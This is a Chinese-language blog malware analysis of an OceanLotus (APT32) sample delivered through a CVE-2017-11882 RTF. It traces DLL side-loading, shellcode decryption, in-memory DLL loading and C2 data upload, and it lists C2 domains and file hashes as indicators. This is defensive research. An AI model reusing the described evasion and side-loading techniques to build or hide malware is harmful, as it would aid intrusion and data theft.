window.theme = {"articles":{"style":{"font_size":"16px","line_height":1.5,"image_border_radius":"14px","image_alignment":"center","image_caption":false,"link_icon":true,"delete_mask":false,"title_alignment":"left","headings_top_spacing":{"h1":"3.2rem","h2":"2.4rem","h3":"1.9rem","h4":"1.6rem","h5":"1.4rem","h6":"1.3rem"}},"word_count":{"enable":true,"count":true,"min2read":true},"author_label":{"enable":true,"auto":false,"list":[]},"code_block":{"copy":true,"style":"mac","highlight_theme":{"light":"github","dark":"vs2015"},"font":{"enable":false,"family":null,"url":null}},"toc":{"enable":true,"max_depth":4,"number":false,"expand":true,"init_open":true},"copyright":{"enable":true,"default":"cc_by_nc_sa"},"lazyload":true,"pangu_js":false,"recommendation":{"enable":false,"title":"推荐阅读","limit":3,"mobile_limit":2,"placeholder":"/images/ball-0101.jpg","skip_dirs":[]}},"colors":{"primary":"#A31F34","secondary":null,"default_mode":"light"},"global":{"fonts":{"chinese":{"enable":false,"family":null,"url":null},"english":{"enable":false,"family":null,"url":null},"title":{"enable":false,"family":null,"url":null}},"content_max_width":"1000px","sidebar_width":"210px","hover":{"shadow":true,"scale":false},"scroll_progress":{"bar":false,"percentage":true},"website_counter":{"url":"https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js","enable":true,"site_pv":true,"site_uv":true,"post_pv":true},"single_page":true,"preloader":{"enable":false,"custom_message":null},"open_graph":true,"google_analytics":{"enable":false,"id":null}},"home_banner":{"enable":true,"style":"fixed","image":{"light":"/images/wallhaven-jxl31y.png","dark":"/images/wallhaven-o5762l.png"},"title":"XIAOERYU","subtitle":{"text":["明心见性,拨云见日","Don't wait, to create"],"hitokoto":{"enable":false,"show_author":false,"api":"https://v1.hitokoto.cn"},"typing_speed":100,"backing_speed":80,"starting_delay":500,"backing_delay":1500,"loop":true,"smart_backspace":true},"text_color":{"light":"#fff","dark":"#d1d1b6"},"text_style":{"title_size":"2.8rem","subtitle_size":"1.5rem","line_height":1.2},"custom_font":{"enable":false,"family":null,"url":null},"social_links":{"enable":true,"style":"default","links":{"github":"https://github.com/xiaoeeyu","instagram":null,"zhihu":null,"twitter":null,"email":"xiaoeryu@163.com"},"qrs":{"weixin":null}}},"plugins":{"feed":{"enable":false},"aplayer":{"enable":false,"type":"fixed","audios":[{"name":null,"artist":null,"url":null,"cover":null,"lrc":null}]},"mermaid":{"enable":false,"version":"9.3.0"}},"version":"2.8.2","navbar":{"auto_hide":false,"color":{"left":"#f78736","right":"#367df7","transparency":35},"width":{"home":"1200px","pages":"1000px"},"links":{"Home":{"path":"/","icon":"fa-regular fa-house"},"Archives":{"path":"/archives","icon":"fa-regular fa-archive"}},"search":{"enable":true,"preload":true}},"page_templates":{"friends_column":2,"tags_style":"blur"},"home":{"sidebar":{"enable":true,"position":"left","first_item":"menu","announcement":null,"show_on_mobile":true,"links":null},"article_date_format":"auto","excerpt_length":200,"categories":{"enable":true,"limit":3},"tags":{"enable":true,"limit":3}},"footerStart":"2022/8/17 11:45:14"};
window.lang_ago = {"second":"%s 秒前","minute":"%s 分钟前","hour":"%s 小时前","day":"%s 天前","week":"%s 周前","month":"%s 个月前","year":"%s 年前"};
window.data = {"masonry":false};
</script>
<!--- Fontawesome Part-->
<link rel="stylesheet" href="/fontawesome/fontawesome.min.css">
<link rel="stylesheet" href="/fontawesome/brands.min.css">
<link rel="stylesheet" href="/fontawesome/solid.min.css">
<link rel="stylesheet" href="/fontawesome/regular.min.css">
<meta name="generator" content="Hexo 6.3.0">
<style>.github-emoji { position: relative; display: inline-block; width: 1.2em; min-height: 1.2em; overflow: hidden; vertical-align: top; color: transparent; } .github-emoji > span { position: relative; z-index: 10; } .github-emoji img, .github-emoji .fancybox { margin: 0 !important; padding: 0 !important; border: none !important; outline: none !important; text-decoration: none !important; user-select: none !important; cursor: auto !important; } .github-emoji img { height: 1.2em !important; width: 1.2em !important; position: absolute !important; left: 50% !important; top: 50% !important; transform: translate(-50%, -50%) !important; user-select: none !important; cursor: auto !important; } .github-emoji-fallback { color: inherit; } .github-emoji-fallback img { opacity: 0 !important; }</style>
</head>
<body>
<div class="progress-bar-container">
<span class="pjax-progress-bar"></span>
<!-- <span class="swup-progress-icon">-->
<!-- <i class="fa-solid fa-circle-notch fa-spin"></i>-->
<!-- </span>-->
</div>
<main class="page-container" id="swup">
<div class="main-content-container flex flex-col justify-between min-h-dvh">
<div class="main-content-header">
<header class="navbar-container px-6 md:px-12">
<div class="navbar-content transition-navbar ">
<div class="left">
<a class="logo-image h-8 w-8 sm:w-10 sm:h-10 mr-3" href="/">
<img src="/images/rabete.jpg" class="w-full h-full rounded-sm">
</a>
<a class="logo-title" href="/">
xiaoeryu
</a>
</div>
<div class="right">
<!-- PC -->
<div class="desktop">
<ul class="navbar-list">
<li class="navbar-item">
<!-- Menu -->
<a class=""
href="/"
>
<i class="fa-regular fa-house fa-fw"></i>
首页
</a>
<!-- Submenu -->
</li>
<li class="navbar-item">
<!-- Menu -->
<a class=""
href="/archives"
>
<i class="fa-regular fa-archive fa-fw"></i>
归档
</a>
<!-- Submenu -->
</li>
<li class="navbar-item search search-popup-trigger">
<i class="fa-solid fa-magnifying-glass"></i>
</li>
</ul>
</div>
<!-- Mobile -->
<div class="mobile">
<div class="icon-item search search-popup-trigger"><i class="fa-solid fa-magnifying-glass"></i>
</div>
<div class="icon-item navbar-bar">
<div class="navbar-bar-middle"></div>
</div>
</div>
</div>
</div>
<!-- Mobile sheet -->
<div class="navbar-drawer h-dvh w-full absolute top-0 left-0 bg-background-color flex flex-col justify-between">
<ul class="drawer-navbar-list flex flex-col px-4 justify-center items-start">
<li class="drawer-navbar-item text-base my-1.5 flex flex-col w-full">
<a class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
href="/"
>
<span>
首页
</span>
<i class="fa-regular fa-house fa-sm fa-fw"></i>
</a>
</li>
<li class="drawer-navbar-item text-base my-1.5 flex flex-col w-full">
<a class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
href="/archives"
>
<span>
归档
</span>
<i class="fa-regular fa-archive fa-sm fa-fw"></i>
</a>
</li>
</ul>
<div class="statistics flex justify-around my-2.5">
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/tags">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">92</div>
<div class="label text-third-text-color text-sm">标签</div>
</a>
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/categories">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">14</div>
<div class="label text-third-text-color text-sm">分类</div>
</a>
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/archives">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">112</div>
<div class="label text-third-text-color text-sm">文章</div>
</a>
</div>
</div>
<div class="window-mask"></div>
</header>
</div>
<div class="main-content-body transition-fade-up">
<div class="main-content">
<div class="post-page-container flex relative justify-between box-border w-full h-full">
<div class="article-content-container">
<div class="article-title relative w-full">
<div class="w-full flex items-center pt-6 justify-start">
<h1 class="article-title-regular text-second-text-color tracking-tight text-4xl md:text-6xl font-semibold px-2 sm:px-6 md:px-8 py-3">Ocean Lotus样本分析</h1>
</div>
</div>
<div class="article-header flex flex-row gap-2 items-center px-2 sm:px-6 md:px-8">
<div class="avatar w-[46px] h-[46px] flex-shrink-0 rounded-medium border border-border-color p-[1px]">
<img src="/images/rabete.jpg">
</div>
<div class="info flex flex-col justify-between">
<div class="author flex items-center">
<span class="name text-default-text-color text-lg font-semibold">xiaoeryu</span>
<span class="author-label ml-1.5 text-xs px-2 py-0.5 rounded-small text-third-text-color border border-shadow-color-1">Lv5</span>
</div>
<div class="meta-info">
<div class="article-meta-info">
<span class="article-date article-meta-item">
<i class="fa-regular fa-pen-fancy"></i>
<span class="desktop">2021-05-24 15:51:57</span>
<span class="mobile">2021-05-24 15:51:57</span>
<span class="hover-info">创建</span>
</span>
<span class="article-date article-meta-item">
<i class="fa-regular fa-wrench"></i>
<span class="desktop">2022-11-14 22:15:42</span>
<span class="mobile">2022-11-14 22:15:42</span>
<span class="hover-info">更新</span>
</span>
<span class="article-categories article-meta-item">
<i class="fa-regular fa-folders"></i>
<ul>
<li>
<a href="/categories/%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/">样本分析</a>
</li>
</ul>
</span>
<span class="article-tags article-meta-item">
<i class="fa-regular fa-tags"></i>
<ul>
<li>
<a href="/tags/windows%E6%9C%A8%E9%A9%AC/">windows木马</a>
</li>
<li>
| <a href="/tags/OceanLotus/">OceanLotus</a>
</li>
</ul>
</span>
<span class="article-pv article-meta-item">
<i class="fa-regular fa-eye"></i> <span id="busuanzi_value_page_pv"></span>
</span>
</div>
</div>
</div>
</div>
<div class="article-content markdown-body px-2 sm:px-6 md:px-8 pb-8">
<h2 id="0x00样本简介"><a href="#0x00样本简介" class="headerlink" title="0x00样本简介"></a>0x00样本简介</h2><p> 该样本是2018年5月份国内某安全厂商威胁情报系统捕获的一起针对中国及其他东亚地区国家政府、科研单位领域的攻击样本,该APT组织确认为APT-32(海莲花OceanLotus)。<br> 此次攻击载体选用的是.doc后缀的rtf文件,该rtf文件通过利用漏洞CVE-2017-11882释放恶意文件到本地并加载执行。其释放文件利用了白加黑的组合加载手法逃避杀软的查杀,在运行过程中并无我们常见的多级注入行为,也并没有文件落地,具有较强的隐蔽性。原始样本信息如表1所示。</p>
<table>
<thead>
<tr>
<th>文件名称</th>
<th>Document_GPI Invitation-UNSOOC China.doc</th>
</tr>
</thead>
<tbody><tr>
<td>Md5</td>
<td>02ae075da4fb2a6d38ce06f8f40e397e</td>
</tr>
<tr>
<td>文件类型</td>
<td>Rtf</td>
</tr>
</tbody></table>
<center>表1</center>
<span id="more"></span>
<h2 id="0x01攻击流程"><a href="#0x01攻击流程" class="headerlink" title="0x01攻击流程"></a>0x01攻击流程</h2><p>该样本首先通过利用Office公式编辑器模块在解析公式名时候出现的栈溢出漏洞CVE-2017-11882释放三个文件(MicrosoftWindowsDiskDiagnosticResolver.exe,rastls.dll和OUTLFLTR.DAT)到本地临时目录,然后执行释放的PE文件。MicrosoftWindowsDiskDiagnosticResolver.exe是一个拥有合法签名的PE文件,该PE文件运行期间会加载rastls.dll(注意系统目录下也有一个同名DLL)。rastls.dll模块DllMain会将宿主PE的代码段内容进行CSP加密混淆,并且会hook代码段后续一个位置,劫持EIP至DLL里面的函数,继而加载OUTLFLTR.DAT。然后从OUTLFLTR.DAT解密出shellcode1,跳转执行shellcode1.后续将.DAT文件解密变形出多个DLL文件,这些内存中的DLL文件将导入网络功能、注册表功能等所需的系统资源DLL。最终将执行其窃密、远控等恶意功能。其运行流程如下图所示。</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/1.png" class="" title="img">
<center>图1 样本执行流程</center>
<h2 id="0x02详细分析"><a href="#0x02详细分析" class="headerlink" title="0x02详细分析"></a>0x02详细分析</h2><p>漏洞部分该报告不分析,我们直接分析其释放文件。</p>
<p>MicrosoftWindowsDiskDiagnosticResolver.exe是一个白签名文件(如图2所示),我们从rastls.dll着手分析。调试器挂载MicrosoftWindowsDiskDiagnosticResolver.exe,跟进rastls.dll模块,结合IDA反汇编可以快速跟踪到对宿主代码段加密部分(图3)。</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/2.png" class="" title="img">
<center>图2 文件签名信息和VT检测信息</center>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/3.png" class="" title="img">
<center>图3 对宿主PE.text段加密混淆</center>
<p>然后修改0x40c19b处的代码为call sub_6e771ed0。</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/4.png" class="" title="img">
<center>图4 劫持宿主EIP</center>
<p>sub_6e771ed0是rastls.dll中的函数,IDA可观察到明显的文件操作行为。</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/5.png" class="" title="img">
<center>图5 sub_6e771ed0函数(图中偏移0x1ED0即sub_10001ED0)</center>
<p>在sub_6e771ed0内部下断或下断文件操作相关API,可跟踪到程序调用CreateFileW加载OUTLFLTR.DAT文件(图6)</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/6.png" class="" title="img">
<center>图6 加载OUTLFLTR.DAT</center>
<p>随后将在OUTLFLTR.DAT文件中提取处指定位置资源解析出相应的shellcode1(图7),并跳转执行shellcode(图8)。</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/7.png" class="" title="img">
<center>图7 解密提取shellcode</center>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/8.png" class="" title="img">
<center>图8 跳转到对缓冲区的shellcode执行</center>
<p>Shellcode1中继续从提取的资源中解密出第一个动态链接库文件,名为{92BA1818-0119-4F79-874E-E3BF79C355B8}.dll。跳转到经PE解析得到的该DLL的OEP位置。DLLMain函数并无特殊功能,其提供的大量局部函数片段将服务shellocde。</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/9.png" class="" title="img">
<center>图9 找到第一个DLL资源({92BA1818-0119-4F79-874E-E3BF79C355B8}.dll)</center>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/10.png" class="" title="img">
<center>图10 修复IAT之后跳入{92BA1818-0119-4F79-874E-E3BF79C355B8}.dll OEP</center>
<p>此时我们Dump出修复之后的DLL文件(可对VirtualProtect下断快速找到堆区的DLL文件)。修改Dump文件的文件对齐即各区段偏移之后,直接IDA反汇编以辅助我们动态跟踪。</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/11.png" class="" title="img">
<center>图10 IDA反汇编中找到的DLL签名信息</center>
<p>执行完{92BA1818-0119-4F79-874E-E3BF79C355B8}.dll DllEntry之后,返回至shellcode1,后续将调用{92BA1818-0119-4F79-874E-E3BF79C355B8}.dll中的构造好的代码片段寻找第二个DLL资源。</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/11.png" class="" title="img">
<center>图11 寻找第二个DLL资源</center>
<p>找到第二个DLL之后,程序流会解密出第二段shellcode2,跳转执行shellcode2,然后修复找到的DLL,跳转到新的DLL OEP。</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/12.png" class="" title="img">
<center>图12 解密出shellcode2,跳转执行</center>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/13.png" class="" title="img">
<center>图13 跳入修复后的DLL({A96B020F-0000-466F-A96D-A91BBF8EAC96}.dll)</center>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/14.png" class="" title="img">
<center>图14 {A96B020F-0000-466F-A96D-A91BBF8EAC96}.dll签名信息</center>
<p>{A96B020F-0000-466F-A96D-A91BBF8EAC96}.dll与第一个DLL类似,其DllEntry无特别作用,但是它提供了针对源资源的解密方法,后续的程序流程中将调用揭秘方法解密出敏感信息(如网络相关的CC)。此外该DLL将会继续解密提取出三个网络相关的动态链接库文件。</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/14.1.png" class="" title="img">
<center>图14 位于{A96B020F-0000-466F-A96D-A91BBF8EAC96}.dll内的资源解密函数</center>
<p>继续解密修复第三个DLL资源。</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/15.png" class="" title="img">
<center>图15 解密出的第三个DLL(HttpProv.dll)</center>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/16.png" class="" title="img">
<center>图16 HttpProv.dll签名信息</center>
<p>HttpProv.dll提供了一个重要的导出函数CreateInstance。</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/17.png" class="" title="img">
<center>图17 HttpProv.dll->CreateInstance</center>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/18.png" class="" title="img">
<center>图18 创建新的线程</center>
<p>解密出第四个DLL资源。</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/19.png" class="" title="img">
<center>图19 跳转执行DnsProvider.dll OEP</center>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/20.png" class="" title="img">
<center>图20 DnsProvider.dll签名信息</center>
<p>设置图标资源相关的注册表值选用REG_OPTION_NON_VOLATILE方式,即只在内存中有效,无实际注册表修改。猜测这应该也是一种隐蔽自身的手段。</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/21.png" class="" title="img">
<center>图21 注册表设置</center>
<p>解密出最后一个DLL资源。</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/22.png" class="" title="img">
<center>图22 HttpProv.dll</center>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/23.png" class="" title="img">
<center>图23 HttpProv.dll签名信息</center>
<p>解密出的这些DLL文件在其初始化过程中将会载入网络模块相关系统资源,然后将进行本地数据上传、远程CC连接等行为。</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/24.png" class="" title="img">
<center>图24我们待资源解密之后提取的敏感信息</center>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/25.png" class="" title="img">
<center>图25 远程CC服务器连接</center>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/26.png" class="" title="img">
<center>图26 将本地用户信息加密之后上传</center>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/24/Ocean-Lotus%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/27.png" class="" title="img">
<center>图27 远程域名请求行为</center>
<h2 id="0x03-IOC"><a href="#0x03-IOC" class="headerlink" title="0x03 IOC"></a>0x03 IOC</h2><p>网络C2</p>
<table>
<thead>
<tr>
<th>回连域名</th>
<th>andreagahuvrauvin.comstraliaenollma.xyzbyronorenstein.com</th>
</tr>
</thead>
<tbody><tr>
<td></td>
<td></td>
</tr>
</tbody></table>
<p>释放文件及中间件哈希</p>
<table>
<thead>
<tr>
<th>文件名</th>
<th>MD5</th>
</tr>
</thead>
<tbody><tr>
<td>MicrosoftWindowsDiskDiagnosticResolver.exe</td>
<td>62944e26b36b1dcace429ae26ba66164</td>
</tr>
<tr>
<td>OUTLFLTR.DAT</td>
<td>b10f93cdbcdf43d4c5c5770872e239f4</td>
</tr>
<tr>
<td>rastls.dll</td>
<td>f775cc387a55831386e44dd00ef9723e</td>
</tr>
<tr>
<td>{92BA1818-0119-4F79-874E-E3BF79C355B8}.dll</td>
<td>93b6996fe1f5a91400b76f4a56f56a0c</td>
</tr>
<tr>
<td>{A96B020F-0000-466F-A96D-A91BBF8EAC96}.dll</td>
<td>76a4d8da378ad191e3d93d210c217e59</td>
</tr>
<tr>
<td>HttpProv.dll</td>
<td>b8df4f077f900878871dddea14774bc5</td>
</tr>
<tr>
<td>DnsProvider.dll</td>
<td>a5ad1094870ffaa5129b51a840d497cd</td>
</tr>
<tr>
<td>HttpProv.dll</td>
<td>c2941048fa90d98147e8f0790b708657</td>
</tr>
</tbody></table>
<h2 id="0x04总结"><a href="#0x04总结" class="headerlink" title="0x04总结"></a>0x04总结</h2><p>此次捕获的由APT组织海莲花针对我国发起的攻击活动的高危情报,该样本选用伪装成doc文件的RTF文档作为攻击载体,利用了常见的栈溢出漏洞CVE-2017-11882,当用户打开后缀为.doc的文档时,若没有更新该漏洞补丁则会触发漏洞释放内嵌的资源文件到本地。释放文件采用了白利用技术绕过常规杀软检测,在木马运行过程中无文件落地并且也没有进行常规木马的可信进程注入行为。解析的shellcode存在较多的加密混淆操作,后续的窃密远控行为分为多线程执行,其执行流程在内存中解密出的多模块间跳转,这些操作一定程度上加大了逆向分析难度。总结来说,该样本具有较强的隐蔽性,较高的稳定性,其蓄谋攻击可见一斑。</p>
</div>
<div class="post-copyright-info w-full my-8 px-2 sm:px-6 md:px-8">
<div class="article-copyright-info-container">
<ul>
<li><strong>标题:</strong> Ocean Lotus样本分析</li>
<li><strong>作者:</strong> xiaoeryu</li>
<li><strong>创建于
:</strong> 2021-05-24 15:51:57</li>
<li>
<strong>更新于
:</strong> 2022-11-14 22:15:42
</li>
<li>
<strong>链接:</strong> https://github.com/xiaoeryu/2021/05/24/Ocean-Lotus样本分析/
</li>
<li>
<strong>
版权声明:
</strong>
本文章采用 <a class="license" target="_blank" rel="noopener" href="https://creativecommons.org/licenses/by-nc-sa/4.0">CC BY-NC-SA 4.0</a> 进行许可。
</li>
</ul>
</div>
</div>
<ul class="post-tags-box text-lg mt-1.5 flex-wrap justify-center flex md:hidden">
<li class="tag-item mx-0.5">
<a href="/tags/windows%E6%9C%A8%E9%A9%AC/">#windows木马</a>
</li>
<li class="tag-item mx-0.5">
<a href="/tags/OceanLotus/">#OceanLotus</a>
</li>
</ul>
<div class="article-nav my-8 flex justify-between items-center px-2 sm:px-6 md:px-8">
<div class="article-prev border-border-color shadow-redefine-flat shadow-shadow-color-2 rounded-medium px-4 py-2 hover:shadow-redefine-flat-hover hover:shadow-shadow-color-2">
<a class="prev" rel="prev" href="/2021/05/24/ARM%E6%B1%87%E7%BC%96%E7%AC%94%E8%AE%B0/">
<span class="left arrow-icon flex justify-center items-center">
<i class="fa-solid fa-chevron-left"></i>
</span>
<span class="title flex justify-center items-center">
<span class="post-nav-title-item">ARM汇编笔记</span>
<span class="post-nav-item">上一篇</span>
</span>
</a>
</div>
<div class="article-next border-border-color shadow-redefine-flat shadow-shadow-color-2 rounded-medium px-4 py-2 hover:shadow-redefine-flat-hover hover:shadow-shadow-color-2">
<a class="next" rel="next" href="/2021/05/24/%E4%B8%80%E6%9E%9A%E7%AE%80%E5%8D%95%E7%9A%84%E6%9C%AA%E7%9F%A5%E5%A3%B3/">
<span class="title flex justify-center items-center">
<span class="post-nav-title-item">一枚简单的未知壳</span>
<span class="post-nav-item">下一篇</span>
</span>
<span class="right arrow-icon flex justify-center items-center">
<i class="fa-solid fa-chevron-right"></i>
</span>
</a>
</div>
</div>
<div class="comment-container px-2 sm:px-6 md:px-8 pb-8">
<div class="comments-container mt-10 w-full ">
<div id="comment-anchor" class="w-full h-2.5"></div>
<div class="comment-area-title w-full my-1.5 md:my-2.5 text-xl md:text-3xl font-bold">
评论
</div>
</div>
</div>
</div>
<div class="toc-content-container">
<div class="post-toc-wrap">
<div class="post-toc">
<div class="toc-title">目录</div>
<div class="page-title">Ocean Lotus样本分析</div>
<ol class="nav"><li class="nav-item nav-level-2"><a class="nav-link" href="#0x00%E6%A0%B7%E6%9C%AC%E7%AE%80%E4%BB%8B"><span class="nav-text">0x00样本简介</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#0x01%E6%94%BB%E5%87%BB%E6%B5%81%E7%A8%8B"><span class="nav-text">0x01攻击流程</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#0x02%E8%AF%A6%E7%BB%86%E5%88%86%E6%9E%90"><span class="nav-text">0x02详细分析</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#0x03-IOC"><span class="nav-text">0x03 IOC</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#0x04%E6%80%BB%E7%BB%93"><span class="nav-text">0x04总结</span></a></li></ol>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="main-content-footer">
<footer class="footer mt-5 py-5 h-auto text-base text-third-text-color relative border-t-2 border-t-border-color">
<div class="info-container py-3 text-center">
<div class="text-center">
©
<span>2022</span>
-
2025 <i class="fa-solid fa-heart fa-beat" style="--fa-animation-duration: 0.5s; color: #f54545"></i> <a href="/">xiaoeryu</a>
<p class="post-count space-x-0.5">
<span>
共撰写了 112 篇文章
</span>
</p>
</div>
<script data-swup-reload-script src="https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
<div class="relative text-center lg:absolute lg:right-[20px] lg:top-1/2 lg:-translate-y-1/2 lg:text-right">
<span id="busuanzi_container_site_uv" class="lg:!block">
<span class="text-sm">访问人数</span>
<span id="busuanzi_value_site_uv"></span>
</span>
<span id="busuanzi_container_site_pv" class="lg:!block">
<span class="text-sm">总访问量</span>
<span id="busuanzi_value_site_pv"></span>
</span>
</div>
<div class="relative text-center lg:absolute lg:left-[20px] lg:top-1/2 lg:-translate-y-1/2 lg:text-left">
<span class="lg:block text-sm">由 <?xml version="1.0" encoding="utf-8"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg class="relative top-[2px] inline-block align-baseline" version="1.1" id="圖層_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1rem" height="1rem" viewBox="0 0 512 512" enable-background="new 0 0 512 512" xml:space="preserve"><path fill="#0E83CD" d="M256.4,25.8l-200,115.5L56,371.5l199.6,114.7l200-115.5l0.4-230.2L256.4,25.8z M349,354.6l-18.4,10.7l-18.6-11V275H200v79.6l-18.4,10.7l-18.6-11v-197l18.5-10.6l18.5,10.8V237h112v-79.6l18.5-10.6l18.5,10.8V354.6z"/></svg><a target="_blank" class="text-base" href="https://hexo.io">Hexo</a> 驱动</span>
<span class="text-sm lg:block">主题 <a class="text-base" target="_blank" href="https://github.com/EvanNotFound/hexo-theme-redefine">Redefine v2.8.2</a></span>
</div>
<div>
博客已运行 <span class="odometer" id="runtime_days" ></span> 天 <span class="odometer" id="runtime_hours"></span> 小时 <span class="odometer" id="runtime_minutes"></span> 分钟 <span class="odometer" id="runtime_seconds"></span> 秒
</div>
<script data-swup-reload-script>
try {
function odometer_init() {
const elements = document.querySelectorAll('.odometer');
elements.forEach(el => {
new Odometer({
el,
format: '( ddd).dd',
duration: 200
});
});
}
odometer_init();
} catch (error) {}
</script>
</div>
</footer>
</div>
</div>
<div class="post-tools">
<div class="post-tools-container">
<ul class="article-tools-list">
<!-- TOC aside toggle -->
<li class="right-bottom-tools page-aside-toggle">
<i class="fa-regular fa-outdent"></i>
</li>
<!-- go comment -->
<li class="go-comment">
<i class="fa-regular fa-comments"></i>
</li>
</ul>
</div>
</div>
<div class="right-side-tools-container">
<div class="side-tools-container">
<ul class="hidden-tools-list">
<li class="right-bottom-tools tool-font-adjust-plus flex justify-center items-center">
<i class="fa-regular fa-magnifying-glass-plus"></i>
</li>
<li class="right-bottom-tools tool-font-adjust-minus flex justify-center items-center">
<i class="fa-regular fa-magnifying-glass-minus"></i>
</li>
<li class="right-bottom-tools tool-dark-light-toggle flex justify-center items-center">
<i class="fa-regular fa-moon"></i>
</li>
<!-- rss -->
<li class="right-bottom-tools tool-scroll-to-bottom flex justify-center items-center">
<i class="fa-regular fa-arrow-down"></i>
</li>
</ul>
<ul class="visible-tools-list">
<li class="right-bottom-tools toggle-tools-list flex justify-center items-center">
<i class="fa-regular fa-cog fa-spin"></i>
</li>
<li class="right-bottom-tools tool-scroll-to-top flex justify-center items-center">
<i class="arrow-up fas fa-arrow-up"></i>
<span class="percent"></span>
</li>
</ul>
</div>
</div>
<div class="image-viewer-container">
<img src="">
</div>
<div class="search-pop-overlay">
<div class="popup search-popup">
<div class="search-header">
<span class="search-input-field-pre">
<i class="fa-solid fa-keyboard"></i>
</span>
<div class="search-input-container">
<input autocomplete="off" autocorrect="off" autocapitalize="off" placeholder="站内搜索您需要的内容..." spellcheck="false" type="search" class="search-input">
</div>
<span class="popup-btn-close">
<i class="fa-solid fa-times"></i>
</span>
</div>
<div id="search-result">
<div id="no-result">
